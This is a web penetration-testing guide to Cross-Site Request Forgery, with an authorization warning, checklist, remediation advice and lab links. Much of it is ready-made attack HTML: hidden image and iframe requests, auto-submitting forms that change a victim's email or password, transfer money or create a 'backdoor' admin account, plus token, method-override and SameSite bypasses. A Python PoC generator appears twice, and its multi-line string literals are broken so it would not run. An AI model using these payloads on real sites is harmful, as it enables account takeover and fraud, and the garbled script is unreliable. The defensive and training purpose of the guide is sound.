19 min read

Cross-Site Request Forgery (CSRF)

CSRF forces authenticated users to perform unwanted actions on web applications. This guide covers attack vectors, token bypass techniques, and modern defense evasion methods.

Warning

CSRF attacks are "one-shot" - once executed, they can't be undone. Test carefully on non-critical functions first (like email change) rather than destructive actions. Only test with explicit written authorization and consent from the system owner.

Frameworks: WSTG-SESS-05 · ASVS 5.0 V3.5.1 (also V3.3.2) · CWE-352

Why CSRF Still Matters in the SameSite Era

Despite SameSite cookies being the default in modern browsers, CSRF remains a critical vulnerability for several reasons:

  • Legacy Applications: Millions of applications still use SameSite=None or lack the attribute entirely. Many enterprise apps haven't been updated since before 2020.
  • Chrome's 2-Minute Window: Newly-set cookies without SameSite are treated as None for 2 minutes, creating a race condition window for attacks.
  • GET-Based State Changes: SameSite=Lax still allows cookies on top-level GET navigations. Applications with GET-based state changes (logout, delete, transfer) remain fully vulnerable.
  • Subdomain Attacks: If attacker controls a subdomain, they can set cookies for the parent domain, bypassing CSRF token validation in double-submit patterns.
  • Clickjacking Combination: Even with CSRF tokens, clickjacking can trick users into clicking legitimate buttons, achieving the same outcome.
  • OAuth/SSO Flows: Cross-origin redirects in OAuth can be exploited for login CSRF, linking attacker accounts to victim sessions.

Tools & Resources

Burp Suite

Right-click > Engagement Tools > Generate CSRF PoC

Built-in feature Docs →

XSRFProbe

Automated CSRF vulnerability scanner

git clone https://github.com/0xInfection/XSRFProbe GitHub →

OWASP CSRF Cheat Sheet

Defence reference — token patterns, SameSite, and double-submit guidance to validate findings against

Reference OWASP →

Bolt

CSRF scanner with token analysis

git clone https://github.com/s0md3v/Bolt GitHub →

CSRF Generator

Online PoC generator tool

Web-based Online Tool →

Cookie Editor

Browser extension to inspect SameSite values

Chrome/Firefox extension

Understanding CSRF

CSRF exploits the trust a website has in a user's browser. When a user is authenticated, their browser automatically includes session cookies with every request. An attacker can craft a malicious page that triggers requests to the target site.

Attack Flow

  1. Victim is authenticated to target.com (has valid session cookie)
  2. Attacker sends victim a link to attacker.com/malicious.html
  3. Malicious page contains hidden form/request to target.com
  4. Browser automatically includes victim's cookies with request
  5. Target.com processes request as legitimate (changes password, transfers money, etc.)

Cross-Site Request Forgery (CSRF) Attack Flow

CSRF Prerequisites

  • Relevant action exists - Password change, email update, fund transfer, etc.
  • Cookie-based sessions - Authentication relies on cookies automatically sent
  • No unpredictable parameters - No CSRF token or other validation

Basic CSRF Attacks

GET Request CSRF

Simplest form - state-changing action via GET (bad practice but common):

get-request-csrf.html
<!-- Image tag - request fires automatically when page loads -->
<img src="https://target.com/transfer?to=attacker&amount=1000" width="0" height="0">

<!-- Link (requires click) -->
<a href="https://target.com/delete-account">Click for free prize!</a>

<!-- Iframe - hidden request -->
<iframe src="https://target.com/change-email?email=attacker@evil.com" style="display:none"></iframe>

<!-- Multiple actions -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">

POST Request CSRF

Auto-submitting form for POST requests:

post-request-csrf.html
<html>
<body onload="document.getElementById('csrf-form').submit()">
  <form id="csrf-form" action="https://target.com/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="confirm" value="1">
  </form>
</body>
</html>

CSRF with XSS Trigger

csrf-with-xss-trigger.html
<!-- Trigger form submit via image error -->
<form id="csrf" action="https://target.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
</form>
<img src="x" onerror="document.getElementById('csrf').submit()">

<!-- Or via script -->
<form id="csrf" action="https://target.com/admin/add-user" method="POST">
  <input type="hidden" name="username" value="backdoor">
  <input type="hidden" name="password" value="backdoor123">
  <input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>

JSON-Based CSRF

Modern APIs often expect JSON bodies. Standard HTML forms can't send JSON, but there are techniques to exploit CSRF on JSON endpoints.

Method 1: Fetch API (if CORS allows)

method-1-fetch-api-if-cors-allows.html
<script>
fetch('https://target.com/api/change-email', {
    method: 'POST',
    credentials: 'include',  // Include cookies
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        email: 'attacker@evil.com'
    })
});
</script>

Information

Note: This only works if CORS allows the origin or if credentials mode permits it. Most sites block cross-origin requests with credentials.

Method 2: Form with JSON in Parameter

method-2-form-with-json-in-parameter.html
<!-- If server accepts form data AND parses it as JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore_me":"' value='"}' type="hidden">
</form>

<!-- Results in body: {"email":"attacker@evil.com","ignore_me":"="} -->

Method 3: Flash-Based (Legacy)

method-3-flash-based-legacy.as
// Flash could send custom Content-Type headers
// Now mostly obsolete but some old apps still vulnerable

// ActionScript payload:
var request:URLRequest = new URLRequest("https://target.com/api/update");
request.method = URLRequestMethod.POST;
request.data = '{"email":"attacker@evil.com"}';
request.contentType = "application/json";
navigateToURL(request);

CSRF Token Bypass Techniques

1. Remove Token Entirely

1-remove-token-entirely.http
# Original request with token
POST /change-email HTTP/1.1
email=test@test.com&csrf_token=abc123

# Test without token - server might not validate if missing
POST /change-email HTTP/1.1
email=attacker@evil.com

2. Empty Token Value

2-empty-token-value.http
# Some implementations only check if parameter exists
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=

# Or with empty string
csrf_token=""

3. Use Another User's Token

3-use-another-user-s-token.html
# If tokens aren't tied to sessions, attacker's own token might work
# Step 1: Get your own valid token
# Step 2: Use it in attack payload

<form action="https://target.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf_token" value="ATTACKERS_OWN_VALID_TOKEN">
</form>

4. Method Override

4-method-override.http
# If POST requires token but GET doesn't
# Change method via parameter override
POST /change-email HTTP/1.1
_method=GET&email=attacker@evil.com

# Or via header
X-HTTP-Method-Override: GET

5. Token in Cookie (Double Submit)

5-token-in-cookie-double-submit.html
# If token is just compared between cookie and parameter
# And you can set cookies (via XSS or subdomain)

# Inject your own matching pair:
document.cookie = "csrf_token=attacker_value; domain=.target.com";

<form action="https://target.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf_token" value="attacker_value">
</form>

6. Token Leakage via Referer

6-token-leakage-via-referer.http
# If token is in URL and Referer header isn't stripped
# Link to external site leaks token

https://target.com/settings?csrf_token=abc123

# User clicks external link, Referer header sent:
Referer: https://target.com/settings?csrf_token=abc123

# Attacker captures token from their server logs

SameSite Cookie Bypass

SameSite cookie attribute is modern CSRF defense. But misconfigurations and edge cases still allow attacks.

SameSite Modes

Strict

Cookie never sent cross-site. Best protection but can break UX.

Lax (Default)

Cookie sent with top-level GET navigations. Blocks POST CSRF.

None

Cookie always sent. Requires Secure flag. Fully vulnerable to CSRF.

Bypassing SameSite=Lax

bypassing-samesite-lax.html
# Lax allows cookies on top-level GET navigation
# If state change possible via GET:

<!-- Top-level navigation via window.open -->
<script>
window.open('https://target.com/change-email?email=attacker@evil.com');
</script>

<!-- Or via link click -->
<a href="https://target.com/delete-account">Click me!</a>

<!-- Or via form with GET -->
<form action="https://target.com/transfer" method="GET">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
  <input type="submit" value="Click for free money!">
</form>

2-Minute Lax Bypass (Chrome)

2-minute-lax-bypass-chrome.txt
# Chrome has 2-minute window for cookies without SameSite set
# During this window, they're treated as None, not Lax

# If user just got new session cookie (login, OAuth redirect):
# You have ~2 minutes for traditional CSRF to work

# Practical exploitation:
1. Get victim to login (via OAuth, etc.)
2. Immediately redirect to CSRF page
3. Attack works within 2-minute window

Clickjacking + CSRF Combo

Clickjacking is the one bypass that needs no forged request: the victim's click is a genuine gesture on the real origin, so tokens, SameSite cookies and referer checks all pass, and the attacker only has to supply a framable page with a reachable state-changing action. The overlay, alignment and exploitability test live in Clickjacking → Basic Clickjacking PoC — start there when the CSRF controls hold but framing is unprotected.

Automation & Tools

~/csrf_poc_generator.py
#!/usr/bin/env python3
"""
CSRF Proof-of-Concept HTML Generator
Takes a request and generates auto-submitting HTML form
"""
import argparse
import urllib.parse as urlparse

def generate_csrf_poc(method, url, params, auto_submit=True):
    """Generate CSRF PoC HTML"""
    parsed = urlparse.urlparse(url)
    
    html = f'''<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form id="csrf-form" action="{url}" method="{method}">
'''
    
    for key, value in params.items():
        html += f'        <input type="hidden" name="{key}" value="{value}">\n'
    
    html += '        <input type="submit" value="Submit">
    </form>
'
    
    if auto_submit:
        html += '''    <script>
        document.getElementById('csrf-form').submit();
    </script>
'''
    
    html += '</body>
</html>'
    return html

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Generate CSRF PoC')
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-m', '--method', default='POST', help='HTTP method')
    parser.add_argument('-d', '--data', required=True, help='POST data (key=value&key2=value2)')
    parser.add_argument('--no-auto', action='store_true', help='Disable auto-submit')
    
    args = parser.parse_args()
    
    # Parse POST data
    params = dict(urlparse.parse_qsl(args.data))
    
    poc = generate_csrf_poc(args.method, args.url, params, not args.no_auto)
    
    # Save to file
    filename = 'csrf_poc.html'
    with open(filename, 'w') as f:
        f.write(poc)
    
    print(f"[+] CSRF PoC saved to {filename}")
    print(f"[+] Target: {args.url}")
    print(f"[+] Method: {args.method}")
    print(f"[+] Parameters: {params}")
#!/usr/bin/env python3
"""
CSRF Proof-of-Concept HTML Generator
Takes a request and generates auto-submitting HTML form
"""
import argparse
import urllib.parse as urlparse

def generate_csrf_poc(method, url, params, auto_submit=True):
    """Generate CSRF PoC HTML"""
    parsed = urlparse.urlparse(url)
    
    html = f'''<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form id="csrf-form" action="{url}" method="{method}">
'''
    
    for key, value in params.items():
        html += f'        <input type="hidden" name="{key}" value="{value}">\n'
    
    html += '        <input type="submit" value="Submit">
    </form>
'
    
    if auto_submit:
        html += '''    <script>
        document.getElementById('csrf-form').submit();
    </script>
'''
    
    html += '</body>
</html>'
    return html

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Generate CSRF PoC')
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-m', '--method', default='POST', help='HTTP method')
    parser.add_argument('-d', '--data', required=True, help='POST data (key=value&key2=value2)')
    parser.add_argument('--no-auto', action='store_true', help='Disable auto-submit')
    
    args = parser.parse_args()
    
    # Parse POST data
    params = dict(urlparse.parse_qsl(args.data))
    
    poc = generate_csrf_poc(args.method, args.url, params, not args.no_auto)
    
    # Save to file
    filename = 'csrf_poc.html'
    with open(filename, 'w') as f:
        f.write(poc)
    
    print(f"[+] CSRF PoC saved to {filename}")
    print(f"[+] Target: {args.url}")
    print(f"[+] Method: {args.method}")
    print(f"[+] Parameters: {params}")

Burp Suite CSRF PoC

Account Takeover

  • Email change
  • Password change
  • Add recovery email
  • Link OAuth provider

Financial

  • Money transfer
  • Change billing address
  • Purchase items
  • Subscription changes

Privilege Escalation

  • Create admin user
  • Change user roles
  • Add API keys
  • Modify permissions

Data Manipulation

  • Delete account/data
  • Modify settings
  • Post content as user
  • Approve/reject actions

Practice Labs

Information

Reporting Tip: For CSRF findings, always provide working PoC HTML, explain the impact, and suggest remediation (CSRF tokens, SameSite cookies, etc.).

CSRF Testing Checklist

Initial Assessment

  • ☐ Identify state-changing actions (password, email, settings)
  • ☐ Check cookie SameSite attributes via DevTools
  • ☐ Look for CSRF tokens in forms/requests
  • ☐ Check X-Frame-Options for clickjacking combo
  • ☐ Identify GET-based state changes (logout, delete)
  • ☐ Note any CORS configuration

Token Bypass Tests

  • ☐ Remove token parameter entirely
  • ☐ Submit empty token value
  • ☐ Use token from different session
  • ☐ Try method override (_method=GET)
  • ☐ Change POST to GET
  • ☐ Test token in URL vs body validation

SameSite Testing

  • ☐ Test cookies without SameSite attribute
  • ☐ Test within 2-minute window after login
  • ☐ Check for GET state changes (Lax bypass)
  • ☐ Test from subdomain (cookie injection)
  • ☐ Verify Secure flag with SameSite=None
  • ☐ Test OAuth/redirect flows for timing

PoC & Validation

  • ☐ Generate working PoC HTML
  • ☐ Test in fresh browser profile
  • ☐ Verify action completes successfully
  • ☐ Test across different browsers
  • ☐ Document victim interaction required
  • ☐ Screenshot before/after state

How to Test for CSRF

Step-by-Step Testing Process

  1. Capture Request: In Burp Suite, perform the action you want to test (e.g., change email). Capture the request in Proxy history.
  2. Analyze Tokens: Look for CSRF tokens, check their length, entropy, and whether they're tied to the session.
  3. Check Cookies: In DevTools Application tab, examine SameSite attribute on session cookies. "Lax" blocks POST but allows GET; "None" is fully vulnerable.
  4. Generate PoC: Right-click the request in Burp → Engagement Tools → Generate CSRF PoC. Click "Test in browser" to verify.
  5. Test Variations: Modify the PoC - remove token, use empty value, try GET method if originally POST.
  6. Cross-Origin Test: Host PoC on different domain (use ngrok or local server). Verify action works cross-origin.
  7. Document Impact: If successful, demonstrate impact (account takeover via email change, admin user creation, etc.)

⚠️ Important: Always test in an isolated browser profile where you're logged into the target. The CSRF PoC page should trigger the action without any user login on that page.

External Resources

Remediation & Defense

Fixing CSRF

SameSite on the Session Cookie

  • • Set the attribute explicitly: Set-Cookie: __Host-session=…; Secure; HttpOnly; Path=/; SameSite=Lax (use Strict where the UX allows). The __Host- prefix stops a subdomain from overwriting the cookie.
  • • Lax blocks cross-site POST, but still sends the cookie on top-level GET navigation — so it only protects you if state changes never happen on GET.
  • • Do not rely on the browser default. Cookies created without SameSite are treated as None for the 2-minute window documented above, which is exactly the race the 2-Minute Lax Bypass exploits.
  • • SameSite=None is only legitimate for genuinely cross-site flows and must carry Secure; treat it as an exception that needs tokens as well.

Synchroniser Tokens

  • • Issue a per-session random token (at least 128 bits from a CSPRNG), store it server-side, and compare it in constant time on every state-changing request.
  • • Framework defaults are usually correct: Django's {% csrf_token %} with CsrfViewMiddleware, Spring Security's CSRF support (on by default, CookieCsrfTokenRepository for a SPA), ASP.NET Core AddAntiforgery() + [ValidateAntiForgeryToken], Rails protect_from_forgery, Laravel @csrf.
  • • Bind the token to the session, rotate it on login, and reject a token presented for a different session — that is what breaks the "use another user's token" bypass above.
  • • Keep the token out of the URL: a query-string token leaks through Referer, browser history and proxy logs, as the token-leakage section demonstrates.

Signed Double-Submit, Not Naive Double-Submit

  • • The cookie must not be the only copy of the secret. Naive double-submit compares cookie to body, so anyone who can set a cookie can supply both halves — see Token in Cookie (Double Submit).
  • • Sign the value instead: cookie holds a random value, the request carries that value plus an HMAC over it with a server-side key, and the server verifies the MAC before comparing.
  • • Scope the CSRF cookie as __Host-csrf; Secure; SameSite=Lax; Path=/ so a sibling subdomain cannot plant a matching pair.
  • • Stateless double-submit survives horizontal scaling without a session store — which is why it is worth doing correctly rather than dropping it.

GET Must Never Mutate State

  • • RFC 9110 §9.2.1 defines GET, HEAD and OPTIONS as safe: they must not change server state. Enforce it in the route table, not in review comments.
  • • Writes go through POST/PUT/PATCH/DELETE. Logout, delete, transfer and "confirm" links are the classic offenders — convert them to form posts.
  • • This is what closes the Lax bypass: an <img>, <iframe> or top-level navigation can only issue a GET, so a correctly-methoded app has nothing for it to trigger.
  • • Reject method overrides on state-changing routes — ignore _method and X-HTTP-Method-Override rather than letting them downgrade a token-checked POST to an unchecked GET.
  • • Check Origin (and Referer as a fallback) against an allow-list for defence-in-depth; treat a missing Origin on a write as suspect rather than trusted.

CWE References: CWE-352 (Cross-Site Request Forgery)

Evidence Collection

PoC HTML Page: Working HTML file with auto-submitting form that performs the state-changing action (email change, password reset, fund transfer)

Before/After: Screenshots showing the victim's account state before and after the CSRF attack — proving the action was performed without user consent

Token Analysis: Evidence that CSRF tokens are missing, predictable, not validated, or not tied to the user session

CVSS Range: Profile changes: 4.3–6.5 (Medium) | Password/email change: 6.5–8.0 (High) | Financial transaction: 8.0–8.8

False Positive Identification

  • SameSite cookies: Modern browsers default to SameSite=Lax — cross-site POST requests won't include cookies. Verify the cookie attributes before reporting. GET-based state changes may still work.
  • CORS ≠ CSRF protection: CORS restricts reading responses, not sending requests. A permissive CORS policy doesn't create CSRF if proper tokens are used, and restrictive CORS doesn't prevent form-based CSRF.
  • JSON-only endpoints: If the endpoint requires Content-Type: application/json, simple form submissions won't work — but check if the server accepts other content types or if CORS preflight is enforced.
  • Read-only actions: CSRF on GET requests that only read data is typically informational — focus on state-changing operations (POST, PUT, DELETE).

CSRF Practice

Defeat token validation, SameSite, and Referer defences on dedicated labs.

PortSwigger — CSRF Labs PortSwigger medium
Token validation flawsSameSite bypassReferer bypass